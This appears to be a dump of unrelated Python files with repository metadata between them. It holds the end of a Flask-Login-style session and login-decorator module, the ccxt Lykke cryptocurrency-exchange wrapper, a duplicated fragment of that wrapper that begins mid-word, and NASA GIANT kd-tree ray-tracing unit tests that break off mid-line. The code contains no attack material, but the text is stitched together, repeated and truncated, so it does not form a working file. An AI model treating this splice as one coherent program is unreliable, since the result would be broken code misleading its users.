current_app.config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) if cookie_name in request.cookies: session['remember'] = 'clear' user = _get_user() if user and not user.is_anonymous(): user_logged_out.send(current_app._get_current_object(), user=user) current_app.login_manager.reload_user() return True def confirm_login(): session['_fresh'] = True session['_id'] = _create_identifier() user_login_confirmed.send(current_app._get_current_object()) def login_required(func): @wraps(func) def decorated_view(*args, **kwargs): if current_app.login_manager._login_disabled: return func(*args, **kwargs) elif not current_user.is_authenticated(): return current_app.login_manager.unauthorized() return func(*args, **kwargs) return decorated_view def fresh_login_required(func): @wraps(func) def decorated_view(*args, **kwargs): if current_app.login_manager._login_disabled: return func(*args, **kwargs) elif not current_user.is_authenticated(): return current_app.login_manager.unauthorized() elif not login_fresh(): return current_app.login_manager.needs_refresh() return func(*args, **kwargs) return decorated_view def _get_user(): if has_request_context() and not hasattr(_request_ctx_stack.top, 'user'): current_app.login_manager._load_user() return getattr(_request_ctx_stack.top, 'user', None) def _cookie_digest(payload, key=None): key = _secret_key(key) return hmac.new(key, payload.encode('utf-8'), sha1).hexdigest() def _get_remote_addr(): address = request.headers.get('X-Forwarded-For', request.remote_addr) if address is not None: address = address.encode('utf-8') return address def _create_identifier(): user_agent = request.headers.get('User-Agent') if user_agent is not None: user_agent = user_agent.encode('utf-8') base = '{0}|{1}'.format(_get_remote_addr(), user_agent) if str is bytes: base = unicode(base, 'utf-8', errors='replace') # pragma: no cover h = md5() h.update(base.encode('utf8')) return h.hexdigest() def _user_context_processor(): return dict(current_user=_get_user()) def _secret_key(key=None): if key is None: key = current_app.config['SECRET_KEY'] if isinstance(key, unicode): # pragma: no cover key = key.encode('latin1') # ensure bytes return key # Signals #: Sent when a user is logged in. In addition to the app (which is the #: sender), it is passed `user`, which is the user being logged in. user_logged_in = _signals.signal('logged-in') #: Sent when a user is logged out. In addition to the app (which is the #: sender), it is passed `user`, which is the user being logged out. user_logged_out = _signals.signal('logged-out') #: Sent when the user is loaded from the cookie. In addition to the app (which #: is the sender), it is passed `user`, which is the user being reloaded. user_loaded_from_cookie = _signals.signal('loaded-from-cookie') #: Sent when the user is loaded from the header. In addition to the app (which #: is the #: sender), it is passed `user`, which is the user being reloaded. user_loaded_from_header = _signals.signal('loaded-from-header') #: Sent when the user is loaded from the request. In addition to the app (which #: is the #: sender), it is passed `user`, which is the user being reloaded. user_loaded_from_request = _signals.signal('loaded-from-request') #: Sent when a user's login is confirmed, marking it as fresh. (It is not user_login_confirmed = _signals.signal('login-confirmed') user_unauthorized = _signals.signal('unauthorized') user_needs_refresh = _signals.signal('needs-refresh') user_accessed = _signals.signal('accessed') session_protected = _signals.signal('session-protected')

true

f7051d918dd37949e61a5f9a742e216e26e774b9

12,368

py

Python

python/ccxt/lykke.py

mikepsinn/ccxt

04c73735f53a7f28f5f4bd7f6846503047297138

[ "MIT" ]

1

2019-03-12T09:30:24.000Z

python/ccxt/lykke.py

mikepsinn/ccxt

04c73735f53a7f28f5f4bd7f6846503047297138

[ "MIT" ]

null

python/ccxt/lykke.py

mikepsinn/ccxt

04c73735f53a7f28f5f4bd7f6846503047297138

[ "MIT" ]

null

# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange import math class lykke (Exchange): def describe(self): return self.deep_extend(super(lykke, self).describe(), { 'id': 'lykke', 'name': 'Lykke', 'countries': 'CH', 'version': 'v1', 'rateLimit': 200, 'has': { 'CORS': False, 'fetchOHLCV': False, 'fetchTrades': False, 'fetchOpenOrders': True, 'fetchClosedOrders': True, 'fetchOrders': True, }, 'requiredCredentials': { 'apiKey': True, 'secret': False, }, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/34487620-3139a7b0-efe6-11e7-90f5-e520cef74451.jpg', 'api': { 'mobile': 'https://api.lykkex.com/api', 'public': 'https://hft-api.lykke.com/api', 'private': 'https://hft-api.lykke.com/api', 'test': { 'mobile': 'https://api.lykkex.com/api', 'public': 'https://hft-service-dev.lykkex.net/api', 'private': 'https://hft-service-dev.lykkex.net/api', }, }, 'www': 'https://www.lykke.com', 'doc': [ 'https://hft-api.lykke.com/swagger/ui/', 'https://www.lykke.com/lykke_api', ], 'fees': 'https://www.lykke.com/trading-conditions', }, 'api': { 'mobile': { 'get': [ 'AllAssetPairRates/{market}', ], }, 'public': { 'get': [ 'AssetPairs', 'AssetPairs/{id}', 'IsAlive', 'OrderBooks', 'OrderBooks/{AssetPairId}', ], }, 'private': { 'get': [ 'Orders', 'Orders/{id}', 'Wallets', ], 'post': [ 'Orders/limit', 'Orders/market', 'Orders/{id}/Cancel', ], }, }, 'fees': { 'trading': { 'tierBased': False, 'percentage': True, 'maker': 0.0, # as of 7 Feb 2018, see https://github.com/ccxt/ccxt/issues/1863 'taker': 0.0, # https://www.lykke.com/cp/wallet-fees-and-limits }, 'funding': { 'tierBased': False, 'percentage': False, 'withdraw': { 'BTC': 0.001, }, 'deposit': { 'BTC': 0, }, }, }, }) def fetch_balance(self, params={}): self.load_markets() balances = self.privateGetWallets() result = {'info': balances} for i in range(0, len(balances)): balance = balances[i] currency = balance['AssetId'] total = balance['Balance'] used = balance['Reserved'] free = total - used result[currency] = { 'free': free, 'used': used, 'total': total, } return self.parse_balance(result) def cancel_order(self, id, symbol=None, params={}): return self.privatePostOrdersIdCancel({'id': id}) def create_order(self, symbol, type, side, amount, price=None, params={}): self.load_markets() market = self.market(symbol) query = { 'AssetPairId': market['id'], 'OrderAction': self.capitalize(side), 'Volume': amount, } if type == 'market': query['Asset'] = market['base'] if (side == 'buy') else market['quote'] elif type == 'limit': query['Price'] = price method = 'privatePostOrders' + self.capitalize(type) result = getattr(self, method)(self.extend(query, params)) return { 'id': None, 'info': result, } def fetch_markets(self): markets = self.publicGetAssetPairs() result = [] for i in range(0, len(markets)): market = markets[i] id = market['Id'] base = market['BaseAssetId'] quote = market['QuotingAssetId'] base = self.common_currency_code(base) quote = self.common_currency_code(quote) symbol = market['Name'] precision = { 'amount': market['Accuracy'], 'price': market['InvertedAccuracy'], } result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'active': True, 'info': market, 'lot': math.pow(10, -precision['amount']), 'precision': precision, 'limits': { 'amount': { 'min': math.pow(10, -precision['amount']), 'max': math.pow(10, precision['amount']), }, 'price': { 'min': math.pow(10, -precision['price']), 'max': math.pow(10, precision['price']), }, }, }) return result def parse_ticker(self, ticker, market=None): timestamp = self.milliseconds() symbol = None if market: symbol = market['symbol'] ticker = ticker['Result'] return { 'symbol': symbol, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'high': None, 'low': None, 'bid': float(ticker['Rate']['Bid']), 'ask': float(ticker['Rate']['Ask']), 'vwap': None, 'open': None, 'close': None, 'first': None, 'last': None, 'change': None, 'percentage': None, 'average': None, 'baseVolume': None, 'quoteVolume': None, 'info': ticker, } def fetch_ticker(self, symbol, params={}): self.load_markets() market = self.market(symbol) ticker = self.mobileGetAllAssetPairRatesMarket(self.extend({ 'market': market['id'], }, params)) return self.parse_ticker(ticker, market) def parse_order_status(self, status): if status == 'Pending': return 'open' elif status == 'InOrderBook': return 'open' elif status == 'Processing': return 'open' elif status == 'Matched': return 'closed' elif status == 'Cancelled': return 'canceled' elif status == 'NotEnoughFunds': return 'NotEnoughFunds' elif status == 'NoLiquidity': return 'NoLiquidity' elif status == 'UnknownAsset': return 'UnknownAsset' elif status == 'LeadToNegativeSpread': return 'LeadToNegativeSpread' return status def parse_order(self, order, market=None): status = self.parse_order_status(order['Status']) symbol = None if not market: if 'AssetPairId' in order: if order['AssetPairId'] in self.markets_by_id: market = self.markets_by_id[order['AssetPairId']] if market: symbol = market['symbol'] timestamp = None if 'LastMatchTime' in order: timestamp = self.parse8601(order['LastMatchTime']) elif 'Registered' in order: timestamp = self.parse8601(order['Registered']) elif 'CreatedAt' in order: timestamp = self.parse8601(order['CreatedAt']) price = self.safe_float(order, 'Price') amount = self.safe_float(order, 'Volume') remaining = self.safe_float(order, 'RemainingVolume') filled = amount - remaining cost = filled * price result = { 'info': order, 'id': order['Id'], 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'type': None, 'side': None, 'price': price, 'cost': cost, 'average': None, 'amount': amount, 'filled': filled, 'remaining': remaining, 'status': status, 'fee': None, } return result def fetch_order(self, id, symbol=None, params={}): response = self.privateGetOrdersId(self.extend({ 'id': id, }, params)) return self.parse_order(response) def fetch_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders() return self.parse_orders(response, None, since, limit) def fetch_open_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders(self.extend({ 'status': 'InOrderBook', }, params)) return self.parse_orders(response, None, since, limit) def fetch_closed_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders(self.extend({ 'status': 'Matched', }, params)) return self.parse_orders(response, None, since, limit) def fetch_order_book(self, symbol, limit=None, params={}): self.load_markets() response = self.publicGetOrderBooksAssetPairId(self.extend({ 'AssetPairId': self.market_id(symbol), }, params)) orderbook = { 'timestamp': None, 'bids': [], 'asks': [], } timestamp = None for i in range(0, len(response)): side = response[i] if side['IsBuy']: orderbook['bids'] = self.array_concat(orderbook['bids'], side['Prices']) else: orderbook['asks'] = self.array_concat(orderbook['asks'], side['Prices']) timestamp = self.parse8601(side['Timestamp']) if not orderbook['timestamp']: orderbook['timestamp'] = timestamp else: orderbook['timestamp'] = max(orderbook['timestamp'], timestamp) if not timestamp: timestamp = self.milliseconds() return self.parse_order_book(orderbook, orderbook['timestamp'], 'bids', 'asks', 'Price', 'Volume') def parse_bid_ask(self, bidask, priceKey=0, amountKey=1): price = float(bidask[priceKey]) amount = float(bidask[amountKey]) if amount < 0: amount = -amount return [price, amount] def sign(self, path, api='public', method='GET', params={}, headers=None, body=None): url = self.urls['api'][api] + '/' + self.implode_params(path, params) query = self.omit(params, self.extract_params(path)) if api == 'public': if query: url += '?' + self.urlencode(query) elif api == 'private': if method == 'GET': if query: url += '?' + self.urlencode(query) self.check_required_credentials() headers = { 'api-key': self.apiKey, 'Accept': 'application/json', 'Content-Type': 'application/json', } if method == 'POST': if params: body = self.json(params) return {'url': url, 'method': method, 'body': body, 'headers': headers}

35.849275

126

0.467416

ge import Exchange import math class lykke (Exchange): def describe(self): return self.deep_extend(super(lykke, self).describe(), { 'id': 'lykke', 'name': 'Lykke', 'countries': 'CH', 'version': 'v1', 'rateLimit': 200, 'has': { 'CORS': False, 'fetchOHLCV': False, 'fetchTrades': False, 'fetchOpenOrders': True, 'fetchClosedOrders': True, 'fetchOrders': True, }, 'requiredCredentials': { 'apiKey': True, 'secret': False, }, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/34487620-3139a7b0-efe6-11e7-90f5-e520cef74451.jpg', 'api': { 'mobile': 'https://api.lykkex.com/api', 'public': 'https://hft-api.lykke.com/api', 'private': 'https://hft-api.lykke.com/api', 'test': { 'mobile': 'https://api.lykkex.com/api', 'public': 'https://hft-service-dev.lykkex.net/api', 'private': 'https://hft-service-dev.lykkex.net/api', }, }, 'www': 'https://www.lykke.com', 'doc': [ 'https://hft-api.lykke.com/swagger/ui/', 'https://www.lykke.com/lykke_api', ], 'fees': 'https://www.lykke.com/trading-conditions', }, 'api': { 'mobile': { 'get': [ 'AllAssetPairRates/{market}', ], }, 'public': { 'get': [ 'AssetPairs', 'AssetPairs/{id}', 'IsAlive', 'OrderBooks', 'OrderBooks/{AssetPairId}', ], }, 'private': { 'get': [ 'Orders', 'Orders/{id}', 'Wallets', ], 'post': [ 'Orders/limit', 'Orders/market', 'Orders/{id}/Cancel', ], }, }, 'fees': { 'trading': { 'tierBased': False, 'percentage': True, 'maker': 0.0, 'taker': 0.0, }, 'funding': { 'tierBased': False, 'percentage': False, 'withdraw': { 'BTC': 0.001, }, 'deposit': { 'BTC': 0, }, }, }, }) def fetch_balance(self, params={}): self.load_markets() balances = self.privateGetWallets() result = {'info': balances} for i in range(0, len(balances)): balance = balances[i] currency = balance['AssetId'] total = balance['Balance'] used = balance['Reserved'] free = total - used result[currency] = { 'free': free, 'used': used, 'total': total, } return self.parse_balance(result) def cancel_order(self, id, symbol=None, params={}): return self.privatePostOrdersIdCancel({'id': id}) def create_order(self, symbol, type, side, amount, price=None, params={}): self.load_markets() market = self.market(symbol) query = { 'AssetPairId': market['id'], 'OrderAction': self.capitalize(side), 'Volume': amount, } if type == 'market': query['Asset'] = market['base'] if (side == 'buy') else market['quote'] elif type == 'limit': query['Price'] = price method = 'privatePostOrders' + self.capitalize(type) result = getattr(self, method)(self.extend(query, params)) return { 'id': None, 'info': result, } def fetch_markets(self): markets = self.publicGetAssetPairs() result = [] for i in range(0, len(markets)): market = markets[i] id = market['Id'] base = market['BaseAssetId'] quote = market['QuotingAssetId'] base = self.common_currency_code(base) quote = self.common_currency_code(quote) symbol = market['Name'] precision = { 'amount': market['Accuracy'], 'price': market['InvertedAccuracy'], } result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'active': True, 'info': market, 'lot': math.pow(10, -precision['amount']), 'precision': precision, 'limits': { 'amount': { 'min': math.pow(10, -precision['amount']), 'max': math.pow(10, precision['amount']), }, 'price': { 'min': math.pow(10, -precision['price']), 'max': math.pow(10, precision['price']), }, }, }) return result def parse_ticker(self, ticker, market=None): timestamp = self.milliseconds() symbol = None if market: symbol = market['symbol'] ticker = ticker['Result'] return { 'symbol': symbol, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'high': None, 'low': None, 'bid': float(ticker['Rate']['Bid']), 'ask': float(ticker['Rate']['Ask']), 'vwap': None, 'open': None, 'close': None, 'first': None, 'last': None, 'change': None, 'percentage': None, 'average': None, 'baseVolume': None, 'quoteVolume': None, 'info': ticker, } def fetch_ticker(self, symbol, params={}): self.load_markets() market = self.market(symbol) ticker = self.mobileGetAllAssetPairRatesMarket(self.extend({ 'market': market['id'], }, params)) return self.parse_ticker(ticker, market) def parse_order_status(self, status): if status == 'Pending': return 'open' elif status == 'InOrderBook': return 'open' elif status == 'Processing': return 'open' elif status == 'Matched': return 'closed' elif status == 'Cancelled': return 'canceled' elif status == 'NotEnoughFunds': return 'NotEnoughFunds' elif status == 'NoLiquidity': return 'NoLiquidity' elif status == 'UnknownAsset': return 'UnknownAsset' elif status == 'LeadToNegativeSpread': return 'LeadToNegativeSpread' return status def parse_order(self, order, market=None): status = self.parse_order_status(order['Status']) symbol = None if not market: if 'AssetPairId' in order: if order['AssetPairId'] in self.markets_by_id: market = self.markets_by_id[order['AssetPairId']] if market: symbol = market['symbol'] timestamp = None if 'LastMatchTime' in order: timestamp = self.parse8601(order['LastMatchTime']) elif 'Registered' in order: timestamp = self.parse8601(order['Registered']) elif 'CreatedAt' in order: timestamp = self.parse8601(order['CreatedAt']) price = self.safe_float(order, 'Price') amount = self.safe_float(order, 'Volume') remaining = self.safe_float(order, 'RemainingVolume') filled = amount - remaining cost = filled * price result = { 'info': order, 'id': order['Id'], 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'type': None, 'side': None, 'price': price, 'cost': cost, 'average': None, 'amount': amount, 'filled': filled, 'remaining': remaining, 'status': status, 'fee': None, } return result def fetch_order(self, id, symbol=None, params={}): response = self.privateGetOrdersId(self.extend({ 'id': id, }, params)) return self.parse_order(response) def fetch_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders() return self.parse_orders(response, None, since, limit) def fetch_open_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders(self.extend({ 'status': 'InOrderBook', }, params)) return self.parse_orders(response, None, since, limit) def fetch_closed_orders(self, symbol=None, since=None, limit=None, params={}): response = self.privateGetOrders(self.extend({ 'status': 'Matched', }, params)) return self.parse_orders(response, None, since, limit) def fetch_order_book(self, symbol, limit=None, params={}): self.load_markets() response = self.publicGetOrderBooksAssetPairId(self.extend({ 'AssetPairId': self.market_id(symbol), }, params)) orderbook = { 'timestamp': None, 'bids': [], 'asks': [], } timestamp = None for i in range(0, len(response)): side = response[i] if side['IsBuy']: orderbook['bids'] = self.array_concat(orderbook['bids'], side['Prices']) else: orderbook['asks'] = self.array_concat(orderbook['asks'], side['Prices']) timestamp = self.parse8601(side['Timestamp']) if not orderbook['timestamp']: orderbook['timestamp'] = timestamp else: orderbook['timestamp'] = max(orderbook['timestamp'], timestamp) if not timestamp: timestamp = self.milliseconds() return self.parse_order_book(orderbook, orderbook['timestamp'], 'bids', 'asks', 'Price', 'Volume') def parse_bid_ask(self, bidask, priceKey=0, amountKey=1): price = float(bidask[priceKey]) amount = float(bidask[amountKey]) if amount < 0: amount = -amount return [price, amount] def sign(self, path, api='public', method='GET', params={}, headers=None, body=None): url = self.urls['api'][api] + '/' + self.implode_params(path, params) query = self.omit(params, self.extract_params(path)) if api == 'public': if query: url += '?' + self.urlencode(query) elif api == 'private': if method == 'GET': if query: url += '?' + self.urlencode(query) self.check_required_credentials() headers = { 'api-key': self.apiKey, 'Accept': 'application/json', 'Content-Type': 'application/json', } if method == 'POST': if params: body = self.json(params) return {'url': url, 'method': method, 'body': body, 'headers': headers}

true

f7051dc01ebdfbe27bb258f790b4db971830c134

17,851

py

Python

unittests/ray_tracer/test_kdtree.py

nasa/giant

1e939272d9a0ca533b4da400d132f854520f3adc

[ "NASA-1.3" ]

5

2021-09-10T14:29:19.000Z

2022-01-13T20:15:01.000Z

unittests/ray_tracer/test_kdtree.py

nasa/giant

1e939272d9a0ca533b4da400d132f854520f3adc

[ "NASA-1.3" ]

null

unittests/ray_tracer/test_kdtree.py

nasa/giant

1e939272d9a0ca533b4da400d132f854520f3adc

[ "NASA-1.3" ]

2

2021-10-01T18:39:13.000Z

2021-12-30T08:53:08.000Z

from unittest import TestCase, skip import copy import numpy as np from giant import rotations as at from giant.ray_tracer import kdtree, shapes, rays class TestKDTree(TestCase): def setUp(self): self.max_depth = 4 tri1 = np.array([[-5, -4, -4.5], [0, 0, 1], [0, 0, 0]]) tri2 = tri1+np.array([[2.5, 0, 0]]).T tri3 = tri2+np.array([[2.5, 0, 0]]).T tri4 = tri3+np.array([[2.5, 0, 0]]).T self.triangles = shapes.Triangle64(np.hstack([tri1, tri2, tri3, tri4]).T, 1, np.arange(12).reshape(-1, 3)) self.shapes = self.triangles self.stacked_tries = shapes.Triangle64(np.hstack([tri1, tri2, tri1+[[0], [0], [2.5]], tri2 + [[0], [0], [2.5]]]).T, 1, np.arange(12).reshape(-1, 3)) def test_creation(self): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) self.assertEqual(tree.max_depth, self.max_depth) self.assertEqual(tree.surface, self.shapes) def test_build(self): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) tree.build(force=True, print_progress=False) facets = np.arange(12).reshape(-1, 3) tris = [shapes.Triangle64(self.triangles.vertices, self.triangles.albedos, face) for face in facets] for tri in tris: tri.bounding_box = None node20 = kdtree.KDNode(tris[0]) node21 = kdtree.KDNode(tris[1]) node22 = kdtree.KDNode(tris[2]) node23 = kdtree.KDNode(tris[3]) node10 = kdtree.KDNode() node10.bounding_box = shapes.AxisAlignedBoundingBox([-5, 0, 0], [-1.5, 1, 0]) node10.left = node20 node10.right = node21 node11 = kdtree.KDNode() node11.bounding_box = shapes.AxisAlignedBoundingBox([0., 0, 0], [3.5, 1, 0]) node11.left = node22 node11.right = node23 node00 = kdtree.KDNode() node00.bounding_box = self.triangles.bounding_box node00.left = node10 node00.right = node11 node00.order = 0 self.assertEqual(node00, tree.root) def test_trace(self): with self.subTest(stacked=False): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) tree.build(force=True, print_progress=False) starts = np.array([[-4.5, -2, 0.5, 3], [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 1]]) directions = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test = rays.Rays(starts, directions) ints = tree.trace(rays_test) nodes = [tree.root.left.left, tree.root.left.right, tree.root.right.left, tree.root.right.right] with self.subTest(rotation=None, translation=None): for ind, int_check in enumerate(ints): with self.subTest(ignore=False, ind=ind): self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) ignore_ind = 2 rays_test.ignore = [nodes[ignore_ind].id*(10**(tree.root.order+1))]*rays_test.num_rays ints = tree.trace(rays_test) for ind, int_check in enumerate(ints): with self.subTest(ignore=True, ind=ind): if ind != ignore_ind: # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) else: self.assertFalse(int_check["check"]) self.assertTrue(np.isnan(int_check["intersect"]).all()) self.assertTrue(np.isnan(int_check["normal"]).all()) self.assertTrue(np.isnan(int_check["albedo"])) self.assertEqual(int_check["facet"], -1) rotation = at.Rotation([0, 0, -np.pi / 2]) rays_test.ignore = None with self.subTest(rotation=rotation, translation=None): tc = copy.deepcopy(tree) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[0.5, 0.5, 0.5, 0.5], [4.5, 2, -0.5, -3], [1, 1, 1, 1]]) directions2 = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) translation = [0, 0, -0.5] with self.subTest(rotation=None, translation=translation): tc = copy.deepcopy(tree) tc.translate(translation) ints = tc.trace(rays_test) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1.5]) np.testing.assert_array_almost_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(rotation=rotation, translation=translation): tc = copy.deepcopy(tree) tc.rotate(rotation) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[0.5, 0.5, 0.5, 0.5], [4.5, 2, -0.5, -3], [1, 1, 1, 1]]) directions2 = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 0, 1.5]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) rotation = at.Rotation([np.pi / 2, 0, 0]) with self.subTest(rotation=rotation, translation=None): tc = copy.deepcopy(tree) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0.5, 0.5, 0.5, 0.5]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) translation = [2.5, 0, 0] with self.subTest(rotation=None, translation=translation): tc = copy.deepcopy(tree) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"][0]) for ind, int_check in enumerate(ints[1:]): ind += 1 # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_almost_equal(int_check["normal"], self.triangles.normals[ind-1]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind-1].id*(10**(tc.root.order+1))) translation = [0, -0.5, 0] with self.subTest(rotation=rotation, translation=translation): with self.subTest(order='rt'): tc = copy.deepcopy(tree) tc.rotate(rotation) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0.5, 0.5, 0.5, 0.5]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1.5, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(order='tr'): tc = copy.deepcopy(tree) tc.translate(translation) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0, 0, 0, 0]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): # int_check = int_check[0] self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(stacked=True): tree = kdtree.KDTree(self.stacked_tries, max_depth=self.max_depth) tree.build(force=True, print_progress=False) starts = np.array([[-4.5, -2, -4.5, -2], [0.5, 0.5, 0.5, 0.5], [1, 1, 5, 5]]) directions = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test = rays.Rays(starts, directions) ints = tree.trace(rays_test) nodes = [tree.root.left.left, tree.root.right.left, tree.root.left.right, tree.root.right.right] for ind, int_check in enumerate(ints): with self.subTest(ignore=False, ind=ind): self.assertTrue(int_check["check"]) if ind < 2: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) else: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 2.5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) ignore_ind = 2 rays_test.ignore = [nodes[ignore_ind].id*(10**(tree.root.order+1))]*rays_test.num_rays ints = tree.trace(rays_test) for ind, int_check in enumerate(ints): with self.subTest(ignore=True, ind=ind): if ind != ignore_ind: # int_check = int_check[0] self.assertTrue(int_check["check"]) if ind < 2: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) else: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 2.5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) else: self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[0].id*(10**(tree.root.order+1))) class TestKDNode(TestCase): def setUp(self): tri1 = np.array([[-5, -4, -4.5], [0, 0, 1], [0, 0, 0]]) tri2 = tri1+np.array([[2.5, 0, 0]]).T tri3 = tri2+np.array([[2.5, 0, 0]]).T tri4 = tri3+np.array([[2.5, 0, 0]]).T self.triangles = shapes.Triangle64(np.hstack([tri1, tri2, tri3, tri4]).T, 1, np.arange(12).reshape(-1, 3)) def test_creation(self): node = kdtree.KDNode(surface=self.triangles) self.assertEqual(node.surface, self.triangles) self.assertEqual(node.bounding_box, self.triangles.bounding_box) self.assertIsNone(node.left) self.assertIsNone(node.right) def test_compute_bounding_box(self): node = kdtree.KDNode() node.surface = self.triangles node.has_surface = True node.compute_bounding_box() self.assertEqual(node.bounding_box, self.triangles.bounding_box) def test_split(self): node = kdtree.KDNode(surface=self.triangles) node.split(force=True, print_progress=False) left_tris = 